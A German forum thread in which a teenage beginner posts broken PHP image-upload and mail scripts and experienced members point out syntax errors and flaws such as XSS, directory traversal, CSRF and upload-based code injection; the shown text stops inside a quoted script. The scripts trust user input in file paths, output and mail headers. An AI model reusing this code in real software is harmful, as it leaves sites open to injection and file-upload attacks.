Entwickler-Ecke

Off Topic - PHP - Bild an mich über Internetseite senden


>M@steR< - Mi 11.01.06 21:04
Titel: PHP - Bild an mich über Internetseite senden
Hi,

also ich hebe eine website bei freenet (http://people.freenet.de/MASTER-of-all) und möchte es möglich machen das man Bilder in das kontaktformular einfügen kann oder das mir einfach von jamandem bilder zugesendet werden können.

bin in PHP totaler NOOB und habe KA wie ich das machen kann.

>M@steR<


Moderiert von user profile iconChristian S.: Topic aus Internet / Netzwerk verschoben am Mi 11.01.2006 um 20:06


storestore - So 14.08.11 17:58

Hab das gleiche Problem hat jemand eine Antwort dazu?


Dude566 - So 14.08.11 18:49

Google findet da so einiges, z.B. das: http://www.php-einfach.de/tuts_php_datei_upload.php


storestore - So 14.08.11 18:50

Aber wo kann ich die e-mail einfügen an die er es senden soll???


Dude566 - So 14.08.11 18:52

Ob man einen Dateianhang auch bei PHP hinzufügen kann, weiß ich gerade nicht.
Ich würde die Datei einfach auf den Server laden und den Pfad zur Datei in der Mail einfügen, wo ist denn da dein Problem?


storestore - So 14.08.11 22:52

Sorry, man aber ich verstehe nur Bahnhof. Welcher server meinst du meinen webspace oder was.
Wo im code kann ich meine e-mail einfügen damit er es mir sendet, so meine ich es .,.


mfg storestore


Dude566 - Mo 15.08.11 00:12

Ich habe gerade nochmal geschaut, es ist möglich einen Dateianhang hinzuzufügen:
http://www.php-einfach.de/codeschnipsel_1114.php


storestore - Mo 15.08.11 00:31

Hmm, oh Gott ok danke.
Hmm, also da werde ich wohl das Datein-Formular brauchen noch was.
An welche e-mail schickt er es dann und kann man die e-mail irrgendwo einfügen???

Sorry kenn mich echt nicht gut mit php aus bin noch am lernen

mfg storestore


Dude566 - Mo 15.08.11 00:43

Der Parameter "$to" im Beispiel aus dem Link sollte die Adresse des Empfängers beinhalten. ;)


storestore - Di 16.08.11 16:35

Hmmm, sehr komplieziert könnte einer mal vieleicht ein video tutorial machen?

mfg storestore


Dude566 - Di 16.08.11 17:01

Anderer Vorschlag: Du setzt dich mit den Grundlagen auseinander, oder du eröffnest ein Thema in der Job Börse und jemand erledigt das ganze gegen einen kleinen Obolus für dich. :wink:


storestore - Mi 17.08.11 00:12

Hmmmm, oder ich warte bis jemand sagt: "Ohh der arme storestore ich mach ihm das video" ;)


elundril - Mi 17.08.11 00:21

waiting


storestore - Mi 17.08.11 12:15

^^ Cool. Hättest aber die Arbeit ins tutorial stecken können ;)


Dude566 - Mi 17.08.11 14:35

Du hättest dich in der Zeit auch schon mehrfach durch eines der zahlreichen Einsteiger Tutorials lesen können und dann bei konkreten Problemen hier fragen können. :roll:

Edit: Da du ja so auf Videos stehst --> http://www.youtube.com/watch?v=DpdqLCMo4Hw


storestore - Mi 17.08.11 15:11

Danke schön :oops: :oops:

Moderiert von user profile iconMartok: Doppelposting entfernt.

Moment mal der zeigt ja nicht wie man einen datei- upload erstellt. Das was er macht hab ich schon zzzzz :mahn: :)


Dude566 - Mi 17.08.11 15:25

1.) Doppelposts sind nicht erwünscht! :mahn:
2.) Du wirst doch mal eigenständig etwas finden können: http://www.youtube.com/watch?v=V9MWOtFTpOM :autsch:


storestore - Mi 17.08.11 15:44

Ja aber ich hätte es gerne auf deutsch ;) und mit Ton


Dude566 - Mi 17.08.11 15:47

Und was ist das für eine Sprache in meinem zweiten Link?! :roll:


storestore - Mi 17.08.11 17:59

Achso ja sorry ich dachte der wäre ohne Ton (Ich hatte mein Ton ausversehen [jajajaja] aus) ;)
Moment er läst die Datei nicht per e-mail verschicken (*mecker, mecker, mecker, mecker*) ;)


Dude566 - Mi 17.08.11 19:23

Also wenn du nicht fähig bist, das in beiden Videos gezeigte zu kombinieren oder selbst etwas nachzulesen, dann mach doch einfach einen Thread in der Job Börse oder warte solange bis sich jemand erbarmt. :roll:


storestore - Mi 17.08.11 19:26

Wie war das nochmal mit dem warten bis sich jemand erbamt ;) ^^


Dude566 - Mi 17.08.11 19:27

Viel Glück, ich glaube nicht, dass es hier jemand umsonst macht. :D


storestore - Mi 17.08.11 19:28

Nee, nur das Problem ist er lässt die daten in ein Ordner laden ich will es per e-mail zugeschickt bekommen


Dude566 - Mi 17.08.11 19:34

Die können dann ja auch verschickt werden, zunächst müssen sie in diesem Fall aber hochgeladen werden, das steht aber auch schon alles in dem ersten Link den ich gepostet habe.
Du hast doch nichts davon gelesen oder? :roll:


storestore - Mi 17.08.11 19:38

Ich will aber das die dirket verschickt werden .,.


Dude566 - Mi 17.08.11 19:41

Es muss aber in jedem Fall ein Upload getätigt werden, da PHP nun mal serverseitig läuft.


storestore - Mi 17.08.11 19:45

Hmmm bist du dir da sicher


storestore - Mi 17.08.11 19:46

Naja und ich es hochgeladen habe wie mach ma das mit der e-mail


Dude566 - Mi 17.08.11 19:47

Zum letzten mal, das steht doch hier: http://www.php-einfach.de/codeschnipsel_1114.php


storestore - Mi 17.08.11 19:50

Achso okkk danke
(Ein tutorial ist trotzdem besser) ;)


Dude566 - Mi 17.08.11 20:20

Das ist eins, man muss nur lesen können. ;)


storestore - Mi 17.08.11 22:10

Naja dann muss ich wohl oder übel lesen lernen ;)


storestore - Sa 20.08.11 13:16

Hallo, kann mir jemand sagen wo ich hier im code die Bilder- Formate festlegen kann?



Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
<?php
$dateityp = GetImageSize($_FILES['datei']['tmp_name']);
if($dateityp[2] != 0)
   {

   if($_FILES['datei']['size'] <  102400)
      {
      move_uploaded_file($_FILES['datei']['tmp_name'], "upload/".$_FILES['datei']['name']);
      echo "Das Bild wurde Erfolgreich nach upload/".$_FILES['datei']['name']." hochgeladen";
      }

   else
      {
         echo "Das Bild darf nicht größer als 100 kb sein ";
      }

    }

else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    }
?>


Danke im voraus


storestore - So 21.08.11 11:08

Hatt den niemand eine antwort ;( :opps: :(


BenBE - So 21.08.11 12:01

PHP kommt mit einem (inzwischen) recht guten Manual. Und ich dachte, du wolltest mal lesen lernen ;-) Zumal das ja im Code steht ;-) (Auch wenn ich den so nicht stehen lassen würde, weil der nur die Hälfte der für ein sicheres Upload-Script nötigen Abfragen macht). Von der XSS-Lücke in Zeile 9 mal gar nicht zu sprechen. Und das Directory Traversal in Zeile 8 hat auch was Nettes :P

BTW: Zeile 3 --> RTFM --> Lösung.


mandras - So 21.08.11 12:04

über
$_FILES["datei"]["type"];


BenBE - So 21.08.11 12:10

user profile iconmandras hat folgendes geschrieben Zum zitierten Posting springen:
über
$_FILES["datei"]["type"];

Ja und nein :P

Ja, da steht was drin, was wie ein Dateityp aussieht.
Nein: Das Feld steht unter Kontrolle des Users und kann damit einfach missbraucht werden.

Die Upload-Info kann also maximal als Indiz genutzt werden (wobei ich die aus Prinzip verwerfe, eben WEIL sie unter Kontrolle des Nutzers steht).

Die richtige Lösung hab ich oben bereits angedeutet; Lesen hilft hier wirklich.


storestore - So 21.08.11 13:54

Ohh, ähh hmmm das ist jetzt peinlich. Ich habe die Seite http://www.php-einfach.de/codeschnipsel_1114.php nochmal geöffnet und endeckt das die mail funktion doch drin steht.
Sorry habe ich aber nicht gesehen gehabt. Ich habe am anfang nur darauf geschaut [url] http://www.php-einfach.de/tuts_php_datei_upload.php[/url]


storestore - Mo 22.08.11 14:49

Tut mir leid aber ich brauche nochmal Hilfe.
Er zeigt mir an das hier ein Syntaxfehler in Zeile 6 ist. Denn finde ich leider nicht! Würde der code (wenn der Syntaxfehler behoben ist) eig. funktionieren?


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
<?php
        if(isset($_FILES['upload'])){
         $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp');
         $ext = substr($_FILES['upload']['name'], strrpos('.', $_FILES['upload']['name']);
     
   }
     
   }
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
       if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) {
        echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";

      }

   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    }

else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    }


   }
}
 echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";


if ( mail("storestore@web.de", "Betreff", "name", "From: $Email")){
echo "Die Mail wurde erfolgreich gesendet";
}
?>


Horschdware - Mo 22.08.11 15:42

Zeile 4: Runde Klammer fehlt
Zeile 8: Geschweifte Klammer zu viel
Zeile 25: Geschweifte Klammer fehlt...

Schau dir bitte nochmal selbst deinen Code im Detail an.
Eine vernünftige Entwicklungsumgebung zeigt dir so etwas übrigens gleich an ;-)

Btw:
Warum ersetzt du die Umlaute?
Was ist mit der XSS Schwachstelle, die schon angesprochen wurde?


PS: Was mir gerade auffällt:
Du willst am Ende des PHP Scripts eine E-Mail ohne Body an jemanden schicken. Ging es in diesem Thread nicht darum, ein Bild per E-Mail zu verschicken? Also, ich sehe da keinen Ansatz, wie das Bild in die E-Mail kommen soll.
Schau dir doch aml in der PHP Doku den Abschnitt über mail() an. Wenn ich mich richtig erinnere gabs da ein nettes Beispiel.


storestore - Mo 22.08.11 18:21

Ohhh ja danke für die Hinweise ;)
Aber irrgendwas fehlt immer noch:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
<php?
     if(isset($_FILES['upload']))
    {
         $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp');
         $ext = substr($_FILES['upload']['name']), strrpos('.', $_FILES['upload']['name']);
     
   
     
   }
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
      {
       if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) {
        echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";

      }

   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    
?>


mfg storestore


Horschdware - Mo 22.08.11 20:53

Willkommen bei der Schnitzeljagd. Heute: Finde die Fehler ;-)

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ohhh ja danke für die Hinweise ;)
Aber irrgendwas fehlt immer noch:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
<php?
     if(isset($_FILES['upload']))
    {
         $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp');
         $ext = substr($_FILES['upload']['name']), strrpos('.', $_FILES['upload']['name']);
     
   
     
   }
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
      {
       if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) {
        echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";

      }


   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    // kein mail() mehr??
?>


mfg storestore


BenBE - Mo 22.08.11 20:58

Hol Dir von Waterproof PHPEdit. Das hilft ungemein. Für Privat ist die Lizenz kostenlos; man muss nur mal sich 5 Minuten hinsetzen und den Herren ne nette Anfrage schicken.


storestore - Mo 22.08.11 23:36

Ok, hab mir als erstes mal eine Demo gedownloaded ;)
Danke für den Tipp.
Hättest du vlt. ein paar kontakt links voran ich schreiben könnte? Hab gerade nix gefunden ;)


storestore - Di 23.08.11 15:06

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Willkommen bei der Schnitzeljagd. Heute: Finde die Fehler ;-)

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ohhh ja danke für die Hinweise ;)
Aber irrgendwas fehlt immer noch:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
<php?
     if(isset($_FILES['upload']))
    {
         $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp');
         $ext = substr($_FILES['upload']['name']), strrpos('.', $_FILES['upload']['name']);
     
   
     
   }
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);





Sollen die Orangen jetzt falsch seien? Was ist an "<php?"
falsch ???
// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
      {
       if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) {
        echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";

      }


   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    // kein mail() mehr??
?>


mfg storestore


Horschdware - Di 23.08.11 15:20

oO
Fullquote ohne Änderungen und ohne eigenen Beitrag? Aha, was willst du uns damit sagen?


storestore - Di 23.08.11 15:24

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
oO
Fullquote ohne Änderungen und ohne eigenen Beitrag? Aha, was willst du uns damit sagen?


Da sollte eig. was darunter stehen aber egal. Sind die Orangenen die Fehler. Was ist an <php? der Fehler


Dude566 - Di 23.08.11 15:25

Der Fehler ist, das du dich immer noch nicht mit den Grundlagen von PHP auseinander gesetzt hast und deshalb keine Ahnung hast was der Code im einzelnen macht. :roll:


Horschdware - Di 23.08.11 15:28

Ich möchte mal ganz fix einen Vergleich zu einem Hühnchen aufstellen, das vor Kurzem gerupft wurde.
Oder besser gesagt: Bitte erst Grundlagen lernen + verstehen. Das erspart dir und den Forenteilnehmern viel Stress und graue Haare :-)


storestore - Di 23.08.11 15:30

user profile iconDude566 hat folgendes geschrieben Zum zitierten Posting springen:
Der Fehler ist, das du dich immer noch nicht mit den Grundlagen von PHP auseinander gesetzt hast und deshalb keine Ahnung hast was der Code im einzelnen macht. :roll:


Ähh also:
Er checkt ob es ein Bild ist und welches format es hat. Dan checkt er die größe und speichert die Bilder in einem Ordner.
Aber was sind den jetzt konrett die Fehler


Horschdware - Di 23.08.11 15:32

Schau dir die markierten Stellen an und denke gründlich darüber nach.
Dann denke über die Bedeutung der Worte "Syntax" und "Semantik" nach.
Dann schreibe deinen nächsten Beitrag.


storestore - Di 23.08.11 15:36


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
<form method="post" action="file_upload.php" enctype="multipart/form-data">
    <input type="file" name="datei">
    <input type="submit" name="submit" value="Hochladen">
</form>
<?php
      if(isset($_POST['submit']))
      {
$dateityp = GetImageSize($_FILES['datei']['tmp_name']);
if($dateityp[2] != 0)
   {
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
       if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) {
        echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";

      }

   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    }

else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    }


   }
}
?>


storestore - Mi 24.08.11 11:31

Und ist dieser Code jetzt richtig (*push hoch ;)*)


BenBE - Mi 24.08.11 11:32

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Und ist dieser Code jetzt richtig

Nein. Die Sicherheitslücken sind immer noch drinnen ...


storestore - Mi 24.08.11 11:34

user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Und ist dieser Code jetzt richtig

Nein. Die Sicherheitslücken sind immer noch drinnen ...

Ok, und welche sicherheitslücken genau, also wie die heißen oder was die machen. Und wie kann man die beheben?
Aber jetzt mal von den Sicherheitslücken weggesehen ist der code doch richtig, oder?

mfg storestore


Horschdware - Mi 24.08.11 11:43

Wurde auf Seite 2 dieses Threads erläutert: Du greifst ungeprüft auf die vom User übermittelten Eingaben zu. Dort kann Schadcode eingeschleust werden.


storestore - Mi 24.08.11 11:49

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
Wurde auf Seite 2 dieses Threads erläutert: Du greifst ungeprüft auf die vom User übermittelten Eingaben zu. Dort kann Schadcode eingeschleust werden.

OK, also sprich du meinst konkretter weisse die Parameter.
Ist der code jetzt eig. richtig.
In dreamweaver hat er gesagt kein Syntaxfehler aber auf meiner http://www.bplaced.net Seite zeigt er mir an ;'; unexpectet in Zeile 7.
Wegen den Sicherheitslücken, wäre ich für jede Information dankbar


Dude566 - Mi 24.08.11 12:44

http://de.m.wikipedia.org/wiki/Cross-Site_Scripting


BenBE - Mi 24.08.11 12:45

Siehe XSS [http://de.wikipedia.org/wiki/Cross-Site_Scripting] und CSRF [http://de.wikipedia.org/wiki/Cross-Site_Request_Forgery].

Das weitere, was ich noch sehe, ist ne Lücke, mit der sich PHP-Code in den Dateiuploads an deinen Prüfungen vorbei einschleusen lässt. Zu dessen Ausführung benötigt es jedoch noch eine RFI [http://de.wikipedia.org/wiki/Remote_File_Inclusion] für die Ausnutzung (die sehe ich zwar in diesem Code nicht, die kann aber in anderem Code versteckt liegen).


storestore - Mi 24.08.11 15:12

Ok, werde ich bald bearbeiten und durchlesen.
Danke!
Kennt ihr vielleicht ein Programm das Sicherheitslücken erkennt?
Ich habe mir das ganze auch mal mit dem Bild als datei-anhang angeschaut. Jetzt würde ich euch mal bitten, dass ihr euch mal den code mal gescheit anschaut und mal sagt ob der richtig ist. Bei mir gab es keine Syntaxfehler. Aber als ich auf [link]bplaced.net[/link]geladen habe, bekamm ich zwar alles wie name und so, aber das Bild war nirgens dabe, auch nicht irrgendwo im Anhang oder bei spam oder so. Desweiteren würde ich euch bitten das ihr euch auch hier mal die Sicherheitslücken anschaut. Ich weiß ist etwas viel und es ist auch nicht euer Job, aber naja wer hilft nicht schon gerne einen 13 Jährigen Jungen? ;)
Fehlermeldungen gab es nicht.

Hier der code:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
<?php
/* Betreffen und Email Variable */
    $emailBetreff = 'Bestellung';
  $webmaster = 'storestore@web.de';
  
  
/* Emailforen Daten*/

  $name = $_POST['name'];
  $nachname = $_POST['nachname'];
  $email = $_POST['email'];
  $ort = $_POST['ort'];
  $plz = $_POST['plz'];
  $strasse = $_POST['strasse'];  
  $hausnummer = $_POST['hausnummer'];
  $produkt = $_POST['produkt'];
  $produkt2 .= $_POST['produkt2'];
  $produkt3 .= $_POST['produkt3'];
  $notiz = $_POST['notiz'];
  $agb = $_POST['agb'];
  $datein = $_POST['datein'];
  
  /* Was in der E-mail stehen soll */
  
  $body = <<<EOD
<br><hr><br>
Name: $name <br>
Nachname: $nachname <br>
Email: $email <br>
Ort: $ort<br>
PLZ: $plz <br>
Strasse: $strasse <br>
Hausnummer: $hausnummer <br>
Produkt1: $produkt <br>
Produkt2: $produkt2 <br>
Produkt3: $produkt3 <br>
Notzi: $notiz <br>
AGB: $agb <br>
Datein:  $datein <br>
EOD;

      if(isset($_POST['submit']))
      {
$dateityp = GetImageSize($_FILES['datei']['tmp_name']);
if($dateityp[2] != 0)
   {
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
      $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse
$betreff = "Bestellung von $nachname" ;// Betreff

$dateiname = "bild.gif"; // Dateiname
$dateiname_mail = "anhang.gif";

$id = md5(uniqid(time()));
$dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));

 // Absender Name und E-Mail Adresse
$kopf = "From: $name, $nachname <$email>\n";
$kopf .= "MIME-Version: 1.0\n";
$kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n";
$kopf .= "This is a multi-part message in MIME format\n";
$kopf .= "--$id\n";
$kopf .= "Content-Type: text/plain\n";
$kopf .= "Content-Transfer-Encoding: 8bit\n\n";
$kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body)
$kopf .= "\n--$id";
// Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org
$kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n";
$kopf .= "Content-Transfer-Encoding: base64\n";
$kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n";
$kopf .= chunk_split(base64_encode($dateiinhalt));
$kopf .= "\n--$id--";


      }

   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    }

else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    }


   }

  $headers = "From: $email\r\n";
  $headers .= "Content-type: text/html\r\n";
  $headers  = mail($webmaster, $emailBetreff, $body, $headers, $kopf);
  
/* Antwort*/
echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";  
  


?>

?>


Danke schon mal fürs durchlesen und naja ich hoffe ihr (könnt mir helfen) helft mir

mfg storestore#


BenBE - Mi 24.08.11 15:24

brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas.


storestore - Mi 24.08.11 15:29

user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas.

Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:

mfg storestore


Horschdware - Mi 24.08.11 15:39

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas.

Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:

mfg storestore


qft!

Das ist jetzt aber nicht dein Ernst, oder? oO


storestore - Mi 24.08.11 15:43

user profile iconHorschdware hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas.

Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:

mfg storestore


qft!

Das ist jetzt aber nicht dein Ernst, oder? oO


Doch!


storestore - Mi 24.08.11 15:50

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ok, werde ich bald bearbeiten und durchlesen.
Danke!
Kennt ihr vielleicht ein Programm das Sicherheitslücken erkennt?
Ich habe mir das ganze auch mal mit dem Bild als datei-anhang angeschaut. Jetzt würde ich euch mal bitten, dass ihr euch mal den code mal gescheit anschaut und mal sagt ob der richtig ist. Bei mir gab es keine Syntaxfehler. Aber als ich auf [link]bplaced.net[/link]geladen habe, bekamm ich zwar alles wie name und so, aber das Bild war nirgens dabe, auch nicht irrgendwo im Anhang oder bei spam oder so. Desweiteren würde ich euch bitten das ihr euch auch hier mal die Sicherheitslücken anschaut. Ich weiß ist etwas viel und es ist auch nicht euer Job, aber naja wer hilft nicht schon gerne einen 13 Jährigen Jungen? ;)
Fehlermeldungen gab es nicht.

Hier der code:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
<?php
/* Betreffen und Email Variable */
    $emailBetreff = 'Bestellung';
  $webmaster = 'storestore@web.de';
  
  
/* Emailforen Daten*/

  $name = $_POST['name'];
  $nachname = $_POST['nachname'];
  $email = $_POST['email'];
  $ort = $_POST['ort'];
  $plz = $_POST['plz'];
  $strasse = $_POST['strasse'];  
  $hausnummer = $_POST['hausnummer'];
  $produkt = $_POST['produkt'];
  $produkt2 .= $_POST['produkt2'];
  $produkt3 .= $_POST['produkt3'];
  $notiz = $_POST['notiz'];
  $agb = $_POST['agb'];
  $datein = $_POST['datein'];
  
  /* Was in der E-mail stehen soll */
  
  $body = <<<EOD
<br><hr><br>
Name: $name <br>
Nachname: $nachname <br>
Email: $email <br>
Ort: $ort<br>
PLZ: $plz <br>
Strasse: $strasse <br>
Hausnummer: $hausnummer <br>
Produkt1: $produkt <br>
Produkt2: $produkt2 <br>
Produkt3: $produkt3 <br>
Notzi: $notiz <br>
AGB: $agb <br>
Datein:  $datein <br>
EOD;

      if(isset($_POST['submit']))
      {
$dateityp = GetImageSize($_FILES['datei']['tmp_name']);
if($dateityp[2] != 0)
   {
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
      $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse
$betreff = "Bestellung von $nachname" ;// Betreff

$dateiname = "bild.gif"; // Dateiname
$dateiname_mail = "anhang.gif";

$id = md5(uniqid(time()));
$dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));

 // Absender Name und E-Mail Adresse
$kopf = "From: $name, $nachname <$email>\n";
$kopf .= "MIME-Version: 1.0\n";
$kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n";
$kopf .= "This is a multi-part message in MIME format\n";
$kopf .= "--$id\n";
$kopf .= "Content-Type: text/plain\n";
$kopf .= "Content-Transfer-Encoding: 8bit\n\n";
